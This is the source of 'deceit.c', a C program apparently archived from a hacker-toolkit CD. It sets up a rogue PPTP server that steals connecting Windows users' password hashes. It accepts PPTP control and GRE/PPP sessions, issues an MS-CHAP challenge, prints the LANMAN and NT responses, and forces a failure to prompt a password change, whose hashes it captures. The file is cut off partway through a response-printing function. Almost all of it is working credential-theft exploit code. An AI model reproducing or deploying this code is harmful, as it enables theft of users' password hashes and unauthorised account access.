home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / deceit.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  41KB  |  1,323 lines

  1. /*
  2.  * deceit.c by Aleph One
  3.  *
  4.  * This program implements enough of the PPTP protocol to steal the
  5.  * password hashes of users that connect to it by asking them to change
  6.  * their password via the MS-CHAP password change protocol version 1.
  7.  *
  8.  * The GRE code, PPTP structures and defines were shamelessly stolen from
  9.  * C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
  10.  * implementation.
  11.  *
  12.  * This code has been tested to work againts Windows NT 4.0 with the 
  13.  * PPTP Performance Update. If the user has selected to use the same
  14.  * username and password as the account they are currently logged in
  15.  * but enter a different old password when the PPTP client password
  16.  * change dialog box appears the client will send the hash for a null
  17.  * string for both the old LANMAN hash and old NT hash.
  18.  *
  19.  * You must link this program against libdes. Email messages asking how 
  20.  * to do so will go to /dev/null.
  21.  *
  22.  * Define BROKEN_RAW_CONNECT if your system does not know how to handle
  23.  * connect() on a raw socket. Normally if you use connect with a raw
  24.  * socket you should only get from the socket IP packets with the
  25.  * source address that you specified to connect(). Under HP-UX using
  26.  * connect makes read never to return. By not using connect we
  27.  * run the risk of confusing the GRE decapsulation process if we receive
  28.  * GRE packets from more than one source at the same time.
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <sys/time.h>
  33. #include <netinet/in.h>
  34. #include <sys/socket.h>
  35. #include <signal.h>
  36. #include <unistd.h>
  37.  
  38. #include "des.h"
  39.  
  40. #ifdef __hpux__
  41. #define u_int8_t uint8_t
  42. #define u_int16_t uint16_t
  43. #define u_int32_t uint32_t
  44. #endif
  45.  
  46. /* define these as appropiate for your architecture */
  47. #define hton8(x)  (x)
  48. #define ntoh8(x)  (x)
  49. #define hton16(x) htons(x)
  50. #define ntoh16(x) ntohs(x)
  51. #define hton32(x) htonl(x)
  52. #define ntoh32(x) ntohl(x)
  53.  
  54. #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
  55. #define PPTP_PORT  1723       /* PPTP TCP port number            */
  56. #define PPTP_PROTO 47         /* PPTP IP protocol number         */
  57.  
  58. #define PPTP_MESSAGE_CONTROL            1
  59. #define PPTP_MESSAGE_MANAGE             2
  60.  
  61. #define PPTP_VERSION_STRING     "1.00"
  62. #define PPTP_VERSION            0x100
  63. #define PPTP_FIRMWARE_STRING    "0.01"
  64. #define PPTP_FIRMWARE_VERSION   0x001
  65.  
  66. /* (Control Connection Management) */
  67. #define PPTP_START_CTRL_CONN_RQST       1
  68. #define PPTP_START_CTRL_CONN_RPLY       2
  69. #define PPTP_STOP_CTRL_CONN_RQST        3
  70. #define PPTP_STOP_CTRL_CONN_RPLY        4
  71. #define PPTP_ECHO_RQST                  5
  72. #define PPTP_ECHO_RPLY                  6
  73.  
  74. /* (Call Management) */
  75. #define PPTP_OUT_CALL_RQST              7
  76. #define PPTP_OUT_CALL_RPLY              8
  77. #define PPTP_IN_CALL_RQST               9
  78. #define PPTP_IN_CALL_RPLY               10
  79. #define PPTP_IN_CALL_CONNECT            11
  80. #define PPTP_CALL_CLEAR_RQST            12
  81. #define PPTP_CALL_CLEAR_NTFY            13
  82.  
  83. /* (Error Reporting) */
  84. #define PPTP_WAN_ERR_NTFY               14
  85.  
  86. /* (PPP Session Control) */
  87. #define PPTP_SET_LINK_INFO              15
  88.  
  89. /* (Framing capabilities for msg sender) */
  90. #define PPTP_FRAME_ASYNC        1
  91. #define PPTP_FRAME_SYNC         2
  92. #define PPTP_FRAME_ANY          3
  93.  
  94. /* (Bearer capabilities for msg sender) */
  95. #define PPTP_BEARER_ANALOG      1
  96. #define PPTP_BEARER_DIGITAL     2
  97. #define PPTP_BEARER_ANY         3
  98.  
  99. struct pptp_header {
  100.   u_int16_t length;       /* message length in octets, including header */
  101.   u_int16_t pptp_type;    /* PPTP message type. 1 for control message.  */
  102.   u_int32_t magic;        /* this should be PPTP_MAGIC.                 */
  103.   u_int16_t ctrl_type;    /* Control message type (0-15)                */
  104.   u_int16_t reserved0;    /* reserved.  MUST BE ZERO.                   */
  105. };
  106.  
  107. struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */
  108.   struct pptp_header header;
  109.  
  110.   u_int16_t version;      /* PPTP protocol version.  = PPTP_VERSION     */
  111.   u_int8_t  result_code;  /* these two fields should be zero on rqst msg*/
  112.   u_int8_t  error_code;   /* 0 unless result_code==2 (General Error)    */
  113.   u_int32_t framing_cap;  /* Framing capabilities                       */
  114.   u_int32_t bearer_cap;   /* Bearer Capabilities                        */
  115.   u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */
  116.   u_int16_t firmware_rev; /* Firmware or Software Revision              */
  117.   u_int8_t  hostname[64]; /* Host Name (64 octets, zero terminated)     */
  118.   u_int8_t  vendor[64];   /* Vendor string (64 octets, zero term.)      */
  119.   /* MS says that end of hostname/vendor fields should be filled with   */
  120.   /* octets of value 0, but Win95 PPTP driver doesn't do this.          */
  121. };
  122.  
  123. struct pptp_out_call_rqst { /* for control message type 7 */
  124.   struct pptp_header header;
  125.   u_int16_t call_id;      /* Call ID (unique id used to multiplex data)  */
  126.   u_int16_t call_sernum;  /* Call Serial Number (used for logging)       */
  127.   u_int32_t bps_min;      /* Minimum BPS (lowest acceptable line speed)  */
  128.   u_int32_t bps_max;      /* Maximum BPS (highest acceptable line speed) */
  129.   u_int32_t bearer;       /* Bearer type                                 */
  130.   u_int32_t framing;      /* Framing type                                */
  131.   u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
  132.   u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
  133.   u_int16_t phone_len;    /* Phone Number Length (num. of valid digits)  */
  134.   u_int16_t reserved1;    /* MUST BE ZERO                                */
  135.   u_int8_t  phone_num[64]; /* Phone Number (64 octets, null term.)       */
  136.   u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.)         */
  137. };
  138.  
  139. struct pptp_out_call_rply { /* for control message type 8 */
  140.   struct pptp_header header;
  141.   u_int16_t call_id;      /* Call ID (used to multiplex data over tunnel)*/
  142.   u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/
  143.   u_int8_t  result_code;  /* Result Code (1 is no errors)                */
  144.   u_int8_t  error_code;   /* Error Code (=0 unless result_code==2)       */
  145.   u_int16_t cause_code;   /* Cause Code (addt'l failure information)     */
  146.   u_int32_t speed;        /* Connect Speed (in BPS)                      */
  147.   u_int16_t recv_size;    /* Recv. Window Size (no. of buffered packets) */
  148.   u_int16_t delay;        /* Packet Processing Delay (in 1/10 sec)       */
  149.   u_int32_t channel;      /* Physical Channel ID (for logging)           */
  150. };
  151.  
  152.  
  153. struct pptp_set_link_info {   /* for control message type 15 */
  154.   struct pptp_header header;
  155.   u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */
  156.   u_int16_t reserved1;    /* MUST BE ZERO                                   */
  157.   u_int32_t send_accm;    /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/
  158.   u_int32_t recv_accm;    /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/
  159. };
  160.  
  161. #define PPTP_GRE_PROTO  0x880B
  162. #define PPTP_GRE_VER    0x1
  163.  
  164. #define PPTP_GRE_FLAG_C 0x80
  165. #define PPTP_GRE_FLAG_R 0x40
  166. #define PPTP_GRE_FLAG_K 0x20
  167. #define PPTP_GRE_FLAG_S 0x10
  168. #define PPTP_GRE_FLAG_A 0x80
  169.  
  170. #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)
  171. #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)
  172. #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)
  173. #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)
  174. #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)
  175.  
  176. struct pptp_gre_header {
  177.   u_int8_t flags;               /* bitfield */
  178.   u_int8_t ver;                 /* should be PPTP_GRE_VER (enhanced GRE) */
  179.   u_int16_t protocol;           /* should be PPTP_GRE_PROTO (ppp-encaps) */
  180.   u_int16_t payload_len;        /* size of ppp payload, not inc. gre header */
  181.   u_int16_t call_id;            /* peer's call_id for this session */
  182.   u_int32_t seq;                /* sequence number.  Present if S==1 */
  183.   u_int32_t ack;                /* seq number of highest packet recieved by */
  184.                                 /*  sender in this session */
  185. };
  186.  
  187. #define PACKET_MAX 8196
  188.  
  189. static u_int32_t ack_sent, ack_recv;
  190. static u_int32_t seq_sent, seq_recv;
  191. static u_int16_t pptp_gre_call_id;
  192.  
  193. #define PPP_ADDRESS            0xFF
  194. #define PPP_CONTROL            0x03
  195.  
  196. /* PPP Protocols */
  197. #define PPP_PROTO_LCP            0xc021
  198. #define PPP_PROTO_CHAP            0xc223
  199.  
  200. /* LCP Codes */
  201. #define PPP_LCP_CODE_CONF_RQST        1
  202. #define PPP_LCP_CODE_CONF_ACK        2
  203. #define PPP_LCP_CODE_IDENT        12
  204.  
  205. /* LCP Config Options */
  206. #define PPP_LCP_CONFIG_OPT_AUTH         3
  207. #define PPP_LCP_CONFIG_OPT_MAGIC    5
  208. #define PPP_LCP_CONFIG_OPT_PFC        7
  209. #define PPP_LCP_CONFIG_OPT_ACFC        8
  210.  
  211. /* Auth Algorithms */
  212. #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP    0x80
  213.  
  214. /* CHAP Codes */
  215. #define PPP_CHAP_CODE_CHALLENGE            1
  216. #define PPP_CHAP_CODE_RESPONCE            2
  217. #define PPP_CHAP_CODE_SUCESS            3
  218. #define PPP_CHAP_CODE_FAILURE            4
  219. #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1    5
  220. #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2    6
  221.  
  222. #define PPP_CHAP_CHALLENGE_SIZE        8
  223. #define PPP_CHAP_RESPONCE_SIZE          49
  224.  
  225. #define MSCHAP_ERROR    "E=648 R=0"
  226.  
  227. struct ppp_header {
  228.     u_int8_t address;
  229.     u_int8_t control;
  230.     u_int16_t proto;
  231. };
  232.  
  233. struct ppp_lcp_chap_header {
  234.   u_int8_t code;
  235.   u_int8_t ident;
  236.   u_int16_t length;
  237. };
  238.  
  239. struct ppp_lcp_packet {
  240.   struct ppp_header ppp;
  241.   struct ppp_lcp_chap_header lcp;
  242. };
  243.  
  244. struct ppp_lcp_chap_auth_option {
  245.   u_int8_t type;
  246.   u_int8_t length;
  247.   u_int16_t auth_proto;
  248.   u_int8_t algorithm;
  249. };
  250.  
  251. struct ppp_lcp_magic_option {
  252.   u_int8_t type;
  253.   u_int8_t length;
  254.   u_int32_t magic;
  255. };
  256.  
  257. struct ppp_lcp_pfc_option {
  258.   u_int8_t type;
  259.   u_int8_t length;
  260. };
  261.  
  262. struct ppp_lcp_acfc_option {
  263.   u_int8_t type;
  264.   u_int8_t length;
  265. };
  266.   
  267.  
  268. struct ppp_chap_challenge {
  269.   u_int8_t size;
  270.   union {
  271.     unsigned char challenge[8];
  272.     struct {
  273.       unsigned char lanman[24];
  274.       unsigned char nt[24];
  275.       u_int8_t flag;
  276.     } responce;
  277.   } value;
  278.   /* name */
  279. };
  280.  
  281. struct ppp_mschap_change_password {
  282.   char old_lanman[16];
  283.   char new_lanman[16];
  284.   char old_nt[16];
  285.   char new_nt[16];
  286.   u_int16_t pass_length;
  287.   u_int16_t flags;
  288. };
  289.  
  290. #define ppp_chap_responce    ppp_chap_challenge
  291.  
  292. void net_init();
  293. void getjiggywithit();
  294. void handleit(struct sockaddr_in *);
  295. void send_start_ctrl_conn_rply();
  296. void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *);
  297. int decaps_gre (int (*cb)(void *pack, unsigned len));
  298. int encaps_gre (void *pack, unsigned len);
  299. int do_ppp(void *pack, unsigned len);
  300. void do_gre(struct sockaddr_in *);
  301. void send_lcp_conf_rply(void *);
  302. void send_lcp_conf_rqst();
  303. void send_chap_challenge();
  304. void send_chap_failure();
  305. void print_challenge_responce(void *);
  306. void paydirt(void *);
  307.  
  308.  
  309. char *n;
  310. int sd, rsd, pid;
  311.  
  312. void main(int argc, char **argv)
  313. {
  314.   n = argv[0];
  315.   net_init();
  316.   getjiggywithit();
  317. }
  318.  
  319. void net_init()
  320. {
  321.   int yes = 1;
  322.   struct sockaddr_in sa;
  323.  
  324.   if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); }
  325.   if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0)
  326.   {
  327.     perror(n);
  328.     exit(1);
  329.   }
  330.  
  331.   bzero((char *) &sa, sizeof(sa));
  332.   sa.sin_family      = AF_INET;
  333.   sa.sin_port        = htons(PPTP_PORT);
  334.   sa.sin_addr.s_addr = htonl(INADDR_ANY);
  335.  
  336.   if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }
  337.  
  338.   if (listen(sd, 5) < 0) { perror(n); exit(1); }
  339. }
  340.  
  341. void getjiggywithit()
  342. {
  343.   struct sockaddr_in sa;
  344.   int sucker, size;
  345.   size = sizeof(sa);
  346.  
  347.  
  348.  
  349.   if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1)
  350.   {
  351.     perror(n);
  352.     exit(1);
  353.   }
  354.   close(sd);
  355.   sd = sucker;
  356.   handleit(&sa);
  357.   exit(0);
  358. }
  359.  
  360. void handleit(struct sockaddr_in *sa)
  361. {
  362.   union {
  363.     struct pptp_header h;
  364.     unsigned char buffer[8196];
  365.   } p;
  366.   int hlen, len, type;
  367.  
  368.   hlen = sizeof(struct pptp_header);
  369.  
  370.   for(;;)
  371.   {
  372.     len = read(sd, p.buffer, hlen);
  373.     if (len == -1) { perror(n); exit(1); }
  374.     if (len != hlen) { printf("Short read.\n"); exit(1); }
  375.  
  376.     len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
  377.     if (len == -1) { perror(n); exit(1); }
  378.     if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}
  379.  
  380.     if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
  381.     if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}
  382.  
  383.     type = ntoh16(p.h.ctrl_type);
  384.     switch(type)
  385.     {
  386.       /* we got a live one */
  387.       case PPTP_START_CTRL_CONN_RQST: 
  388.         send_start_ctrl_conn_rply();
  389.         break;
  390.       case PPTP_OUT_CALL_RQST:
  391.         send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
  392.         break;
  393.       case PPTP_SET_LINK_INFO:
  394.         printf("<- PPTP Set Link Info\n");
  395.         break;
  396.       default:
  397.         printf("<- PPTP unknown packet: %d\n", type);
  398.     }
  399.   }
  400. }
  401.  
  402. void send_start_ctrl_conn_rply()
  403. {
  404.   struct pptp_start_ctrl_conn p;
  405.   int len, hlen;
  406.  
  407.   hlen  = sizeof(struct pptp_start_ctrl_conn);
  408.  
  409.   printf("<- PPTP Start Control Connection Request\n");
  410.   printf("-> PPTP Start Control Connection Reply\n");
  411.  
  412.   bzero((char *)&p, hlen);
  413.   p.header.length    = hton16(hlen);
  414.   p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
  415.   p.header.magic     = hton32(PPTP_MAGIC);
  416.   p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY);
  417.   p.version          = hton16(PPTP_VERSION);
  418.   p.result_code      = 1;
  419.   p.framing_cap      = hton32(PPTP_FRAME_ASYNC);   /* whatever */
  420.   p.bearer_cap       = hton32(PPTP_BEARER_ANALOG); /* ditto    */
  421.   bcopy("owned", p.hostname, 5); 
  422.   bcopy("r00t", p.vendor, 4);
  423.  
  424.   len = write(sd, &p, hlen);
  425.   if (len == -1) { perror(n); exit(1); }
  426.   if (len != hlen) { printf("Short write.\n"); exit(1); }
  427. }
  428.  
  429. static gre = 0;
  430.  
  431. void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
  432. {
  433.   struct pptp_out_call_rply p;
  434.   int len, hlen;
  435.  
  436.   hlen = sizeof(struct pptp_out_call_rply);
  437.  
  438.   printf("<- PPTP Outgoing Call Request\n");
  439.   printf("-> PPTP Outgoing Call Reply\n");
  440.  
  441.   pptp_gre_call_id = r->call_id;
  442.  
  443.   /* Start a process to handle the GRE/PPP packets */
  444.   if (!gre) 
  445.   {
  446.     gre = 1;
  447.     switch((pid = fork()))
  448.     {
  449.       case -1:
  450.         perror(n);
  451.         exit(1);
  452.  
  453.       case 0:
  454.         close(sd);
  455.         do_gre(sa);
  456.         exit(1);        /* not reached */
  457.     }
  458.   }
  459.  
  460.   bzero((char *)&p, hlen);
  461.   p.header.length    = hton16(hlen);
  462.   p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
  463.   p.header.magic     = hton32(PPTP_MAGIC);
  464.   p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);
  465.   p.call_id          = hton16(31337);
  466.   p.call_id_peer     = r->call_id;
  467.   p.result_code      = 1;
  468.   p.speed            = hton32(28800);
  469.   p.recv_size        = hton16(5);   /* whatever */
  470.   p.delay            = hton16(50);  /* whatever */
  471.   p.channel          = hton32(31337);
  472.  
  473.   len = write(sd, &p, hlen);
  474.   if (len == -1) { perror(n); exit(1); }
  475.   if (len != hlen) { printf("Short write.\n"); exit(1); }
  476.  
  477. }
  478.  
  479. struct sockaddr_in src_addr;
  480.  
  481. void do_gre(struct sockaddr_in *sa)
  482. {
  483. #ifndef BROKEN_RAW_CONNECT
  484.   struct sockaddr_in src_addr;
  485. #endif
  486.   int s, n, stat;
  487.  
  488.   /* Open IP protocol socket */
  489.   rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
  490.   if (rsd<0) { perror("gre"); exit(1); }
  491.   src_addr.sin_family = AF_INET;
  492.   src_addr.sin_addr   = sa->sin_addr;
  493.   src_addr.sin_port   = 0;
  494.  
  495. #ifndef BROKEN_RAW_CONNECT
  496.   if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) {
  497.     perror("gre"); exit(1);
  498.   }
  499. #endif
  500.  
  501.   ack_sent = ack_recv = seq_sent = seq_recv = 0;
  502.   stat=0;
  503.  
  504.   /* Dispatch loop */
  505.   while (stat>=0) { /* until error happens on s */
  506.     struct timeval tv = {0, 0}; /* non-blocking select */
  507.     fd_set rfds;
  508.     int retval;
  509.  
  510.     n = rsd + 1;
  511.     FD_ZERO(&rfds);
  512.     FD_SET(rsd, &rfds);
  513.  
  514.     /* if there is a pending ACK, do non-blocking select */
  515.     if (ack_sent!=seq_recv)
  516.       retval = select(n, &rfds, NULL, NULL, &tv);
  517.     else /* otherwise, block until data is available */
  518.       retval = select(n, &rfds, NULL, NULL, NULL);
  519.     if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
  520.       encaps_gre(NULL, 0); /* send ack with no payload */
  521.     if (FD_ISSET(rsd,  &rfds)) /* data waiting on socket */
  522.       stat=decaps_gre(do_ppp);
  523.   }
  524.  
  525.   /* Close up when done. */
  526.   close(rsd); 
  527. }
  528.  
  529. int decaps_gre (int (*cb)(void *pack, unsigned len)) {
  530.   unsigned char buffer[PACKET_MAX+64/*ip header*/];
  531.   struct pptp_gre_header *header;
  532.   int status, ip_len=0;
  533.  
  534.   if((status=read(rsd, buffer, sizeof(buffer)))<0) 
  535.     {perror("gre"); exit(1); }
  536.   /* strip off IP header, if present */
  537.   if ((buffer[0]&0xF0)==0x40) 
  538.     ip_len = (buffer[0]&0xF)*4;
  539.   header = (struct pptp_gre_header *)(buffer+ip_len);
  540.  
  541.   /* verify packet (else discard) */
  542.   if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1   */
  543.       (ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
  544.       PPTP_GRE_IS_C(ntoh8(header->flags)) ||    /* flag C should be clear   */
  545.       PPTP_GRE_IS_R(ntoh8(header->flags)) ||    /* flag R should be clear   */
  546.       (!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set     */
  547.       ((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0  */
  548.     /* if invalid, discard this packet */
  549.     printf("Discarding GRE: %X %X %X %X %X %X", 
  550.          ntoh8(header->ver)&0x7F, ntoh16(header->protocol), 
  551.          PPTP_GRE_IS_C(ntoh8(header->flags)),
  552.          PPTP_GRE_IS_R(ntoh8(header->flags)), 
  553.          PPTP_GRE_IS_K(ntoh8(header->flags)),
  554.          ntoh8(header->flags)&0xF);
  555.     return 0;
  556.   }
  557.   if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */
  558.     u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
  559.       header->ack:header->seq; /* ack in different place if S=0 */
  560.     if (ack > ack_recv) ack_recv = ack;
  561.     /* also handle sequence number wrap-around (we're cool!) */
  562.     if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
  563.   }
  564.   if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */
  565.     unsigned headersize = sizeof(*header);
  566.     unsigned payload_len= ntoh16(header->payload_len);
  567.     u_int32_t seq       = ntoh32(header->seq);
  568.     if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack);
  569.     /* check for incomplete packet (length smaller than expected) */
  570.     if (status-headersize<payload_len) {
  571.       printf("incomplete packet\n");
  572.       return 0; 
  573.     }
  574.     /* check for out-of-order sequence number */
  575.     /* (handle sequence number wrap-around, cuz we're cool) */
  576.     if ((seq > seq_recv) || 
  577.         (((seq>>31)==0) && (seq_recv>>31)==1)) {
  578.       seq_recv = seq;
  579.  
  580.       return cb(buffer+ip_len+headersize, payload_len);
  581.     } else {
  582.       printf("discarding out-of-order\n"); 
  583.       return 0; /* discard out-of-order packets */
  584.     }
  585.   }
  586.   return 0; /* ack, but no payload */
  587. }
  588.  
  589. int encaps_gre (void *pack, unsigned len) {
  590.   union {
  591.     struct pptp_gre_header header;
  592.     unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)];
  593.   } u;
  594.   static u_int32_t seq=0;
  595.   unsigned header_len;
  596.   int out;
  597.  
  598.   /* package this up in a GRE shell. */
  599.   u.header.flags        = hton8 (PPTP_GRE_FLAG_K);
  600.   u.header.ver          = hton8 (PPTP_GRE_VER);
  601.   u.header.protocol     = hton16(PPTP_GRE_PROTO);
  602.   u.header.payload_len  = hton16(len);
  603.   u.header.call_id      = hton16(pptp_gre_call_id);
  604.   
  605.   /* special case ACK with no payload */
  606.   if (pack==NULL) 
  607.     if (ack_sent != seq_recv) {
  608.       u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  609.       u.header.payload_len = hton16(0);
  610.       u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */
  611.       ack_sent = seq_recv;
  612. #ifndef BROKEN_RAW_CONNCET
  613.       return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
  614. #else
  615.       return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
  616.             (struct sockaddr *) &src_addr, sizeof(src_addr));
  617. #endif
  618.     } else return 0; /* we don't need to send ACK */
  619.   /* send packet with payload */
  620.   u.header.flags |= hton8(PPTP_GRE_FLAG_S);
  621.   u.header.seq    = hton32(seq);
  622.   if (ack_sent != seq_recv) { /* send ack with this message */
  623.     u.header.ver |= hton8(PPTP_GRE_FLAG_A);
  624.     u.header.ack  = hton32(seq_recv);
  625.     ack_sent = seq_recv;
  626.     header_len = sizeof(u.header);
  627.   } else { /* don't send ack */
  628.     header_len = sizeof(u.header) - sizeof(u.header.ack);
  629.   }
  630.   if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */
  631.   /* copy payload into buffer */
  632.   memcpy(u.buffer+header_len, pack, len);
  633.   /* record and increment sequence numbers */
  634.   seq_sent = seq; seq++;
  635.   /* write this baby out to the net */
  636. #ifndef BROKEN_RAW_CONNECT
  637.   return write(rsd, u.buffer, header_len+len);
  638. #else
  639.   return sendto(rsd, &u.buffer, header_len+len, 0,
  640.         (struct sockaddr *) &src_addr, sizeof(src_addr));
  641. #endif
  642. }
  643.  
  644.  
  645. int do_ppp(void *pack, unsigned len)
  646. {
  647.   struct {
  648.     struct ppp_header ppp;
  649.     struct ppp_lcp_chap_header header;
  650.   } *p;
  651.  
  652.   p = pack;
  653.  
  654.   switch(ntoh16(p->ppp.proto))
  655.   {
  656.     case PPP_PROTO_LCP:
  657.       switch(ntoh8(p->header.code))
  658.       {
  659.         case  PPP_LCP_CODE_CONF_RQST:
  660.           printf("<- LCP Configure Request\n");
  661.           send_lcp_conf_rply(pack);
  662.           send_lcp_conf_rqst();
  663.           break;
  664.         case  PPP_LCP_CODE_CONF_ACK:
  665.           printf("<- LCP Configure Ack\n");
  666.           send_chap_challenge(pack);
  667.  
  668.           break;
  669.         case PPP_LCP_CODE_IDENT:
  670.           /* ignore */
  671.           break;
  672.         default:
  673.           printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  674.             p->header.ident, ntoh16(p->header.length));
  675.       }
  676.       break;
  677.     case PPP_PROTO_CHAP:
  678.       switch(ntoh8(p->header.code))
  679.       {
  680.         case PPP_CHAP_CODE_RESPONCE:
  681.           printf("<- CHAP Responce\n");
  682.           print_challenge_responce(pack);
  683.           send_chap_failure();
  684.           break;
  685.         case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
  686.           paydirt(pack);
  687.           break;
  688.         default:
  689.           printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code, 
  690.             p->header.ident, ntoh16(p->header.length));
  691.       }
  692.       break;
  693.     default:
  694.       printf("<- PPP unknwon  packet: %X\n", ntoh16(p->ppp.proto)); 
  695.   }
  696.  
  697.   return(1);
  698. }
  699.  
  700. void send_lcp_conf_rply(void *pack)
  701. {
  702.   struct {
  703.     struct ppp_header ppp;
  704.     struct ppp_lcp_chap_header lcp;
  705.   } *p = pack;
  706.  
  707.   printf("-> LCP Configure Ack\n");
  708.  
  709.   p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);
  710.   encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header));
  711. }
  712.  
  713. void send_lcp_conf_rqst()
  714. {
  715.   struct {
  716.     struct ppp_header ppp;
  717.     struct ppp_lcp_chap_header lcp;
  718.     struct ppp_lcp_chap_auth_option auth;
  719.   } pkt;
  720.  
  721.   printf("-> LCP Configure Request\n");
  722.  
  723.   bzero(&pkt, sizeof(pkt));
  724.   pkt.ppp.address     = hton8(PPP_ADDRESS);
  725.   pkt.ppp.control     = hton8(PPP_CONTROL);
  726.   pkt.ppp.proto       = hton16(PPP_PROTO_LCP);
  727.   pkt.lcp.code        = hton8(PPP_LCP_CODE_CONF_RQST);
  728.   pkt.lcp.ident       = hton8(9);
  729.   pkt.lcp.length      = hton16(4 +5);
  730.   pkt.auth.type       = hton8(PPP_LCP_CONFIG_OPT_AUTH);
  731.   pkt.auth.length     = hton8(5);
  732.   pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
  733.   pkt.auth.algorithm  = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
  734.  
  735.   encaps_gre(&pkt, 13);
  736. }
  737.  
  738. void send_chap_challenge()
  739. {
  740.   struct {
  741.     struct ppp_header ppp;
  742.     struct ppp_lcp_chap_header chap;
  743.     struct ppp_chap_challenge challenge;
  744.   } pkt;
  745.  
  746.   printf("-> CHAP Challenge\n");
  747.  
  748.   bzero(&pkt, sizeof(pkt));
  749.   pkt.ppp.address    = hton8(PPP_ADDRESS);
  750.   pkt.ppp.control    = hton8(PPP_CONTROL);
  751.   pkt.ppp.proto      = hton16(PPP_PROTO_CHAP);
  752.   pkt.chap.code      = hton8(PPP_CHAP_CODE_CHALLENGE);
  753.   pkt.chap.length    = hton16(13);
  754.   pkt.challenge.size = hton8(8);
  755.  
  756.   encaps_gre(&pkt,  4 + 13);
  757. }
  758.  
  759. void print_challenge_responce(void *pack)
  760. {
  761.   unsigned char name[512], *c;
  762.   int len;
  763.   struct {
  764.     struct ppp_header ppp;
  765.     struct ppp_lcp_chap_header chap;
  766.     struct ppp_chap_challenge responce;
  767.   } *p;
  768.  
  769.   p = pack;
  770.  
  771.   c = p->responce.value.responce.lanman;
  772.   printf("   LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  773.   c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  774.   c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  775.   c[22], c[23]);
  776.   c = p->responce.value.responce.nt;
  777.   printf("   NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
  778.   c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
  779.   c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
  780.   c[22], c[23]);
  781.   printf("   Use NT hash: %d\n", p->responce.value.responce.flag);
  782.  
  783.  
  784.   bzero(name, 512);
